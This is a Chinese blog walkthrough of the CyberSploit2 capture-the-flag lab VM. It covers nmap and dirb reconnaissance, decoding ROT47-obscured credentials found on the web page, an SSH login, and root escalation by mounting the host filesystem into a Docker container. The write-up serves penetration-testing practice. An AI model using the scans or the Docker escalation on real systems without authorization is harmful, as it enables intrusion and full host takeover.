CyberSploit2-writeup

原创

正道是沧桑 于 2020-08-18 15:18:58 发布 108 收藏

分类专栏： 渗透 靶机 文章标签： linux 服务器 docker 安全

本文链接：https://blog.csdn.net/weixin_43404260/article/details/108077814


渗透 同时被 2 个专栏收录

8 篇文章 0 订阅

订阅专栏


靶机

6 篇文章 0 订阅

订阅专栏

CyberSploit2-writeup

0x00 发现目标

导入CyberSploit2.ova文件，配置好网络模式为桥接模式

nmap扫描局域网`nmap -sn 16.16.16.0/24`发现目标IP是16.16.16.171

使用nmap扫描下端口`nmap -sV 16.16.16.171`

```
root@kali:~# nmap -sV 16.16.16.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 11:48 CST
Nmap scan report for 16.16.16.171
Host is up (0.00013s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.37 ((centos))
MAC Address: F8:FF:C2:4C:7B:F3 (Unknown)
```

发现是开了80端口的，我们使用Firefox打开看一下

Welcom To CyberSploit2 !

White Hat Black Hat Pentester Red Teaming Noobs Coder

#	Username	Password	Handle
1	Mark	Otto	@shadi.com
2	Jacob	Thornton	@Hypper
3	Larry	the Bird	@twitter
4	D92:=6?5C2	4J36CDA=@:E`	@twitter
5	Sam	uwshdijwi	@twitter
6	cevgl	cevgl@1234	@Attitude
7	Madhu	12345678	@facebook
8	Neha	I love my Jaan	@tiktok
9	Mahi	Love you dear	@Love

这么多的用户名和密码，不知道会有什么用处，不着急，我们用dirb爬下网站目录看看有没有其他页面。

```
---- Scanning URL: http://16.16.16.171/ ----
+ http://16.16.16.171/cgi-bin/ (CODE:403|SIZE:217)
+ http://16.16.16.171/index.html (CODE:200|SIZE:3471)
==> DIRECTORY: http://16.16.16.171/noindex/

---- Entering directory: http://16.16.16.171/noindex/ ----
==> DIRECTORY: http://16.16.16.171/noindex/common/
+ http://16.16.16.171/noindex/index (CODE:200|SIZE:4006)
+ http://16.16.16.171/noindex/index.html (CODE:200|SIZE:4006)

---- Entering directory: http://16.16.16.171/noindex/common/ ----
==> DIRECTORY: http://16.16.16.171/noindex/common/css/
==> DIRECTORY: http://16.16.16.171/noindex/common/fonts/
==> DIRECTORY: http://16.16.16.171/noindex/common/images/

---- Entering directory: http://16.16.16.171/noindex/common/css/ ----
+ http://16.16.16.171/noindex/common/css/styles (CODE:200|SIZE:71634)

---- Entering directory: http://16.16.16.171/noindex/common/fonts/ ----

---- Entering directory: http://16.16.16.171/noindex/common/images/ ----
```

noindex是个欢迎页面，其他好像没啥值得关注的。

看看index.html的源码发现了个注释

```
120
121     <!-- Optional JavaScript -->
122     <!-- jQuery first, then Popper.js, then
123     <script src="https://code.jquery.com/jq
124     <script src="https://cdn.jsdelivr.net/n
125     <script src="https://stackpath.bootstra
126 <!----------ROT47---------->
127 </body>
128 </html>
```

百度一下，ROT47是一种编码转换。

仔细一看，用户名和密码有一列，第4列像是编码过的，我们用ROT47转换一下。

得到对应的值

username	password
shailendra	cybersploit1

试着ssh下，还真进了。

```
[shailendra@localhost ~]$ ls
hint.txt
```

有个提示文本，看看内容

```
docker
```

看来进的docker，我们使用docker提权套路

先查看下是否有image，没有就联网拉个。

```
docker pull alpine
```

挂载根目录到docker镜像内

```
[shailendra@localhost ~]$ docker run -v /:/mnt  -it alpine
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),2
6(tape),27(video)
/ # cd /mnt
/mnt # ls
bin    dev    home   lib64  mnt    proc   run    srv    tmp    var
boot   etc    lib    media  opt    root   sbin   sys    usr
/mnt # cd /mnt/root
/mnt/root # ls
anaconda-ks.cfg  flag.txt         get-docker.sh    logs}
/mnt/root # cat flag.txt
 __    ___   _      __    ___    __   _____  __
/ /`  / / \ | |\ | / /`_ | |_)  / /\   | |  ( (`
\_\_, \_\_/ |_| \| \_\_/ |_| \ /_/--\  |_|  _)_)

 Pwned CyberSploit2 POC

share it with me twitter@cybersploit1

             Thanks !
```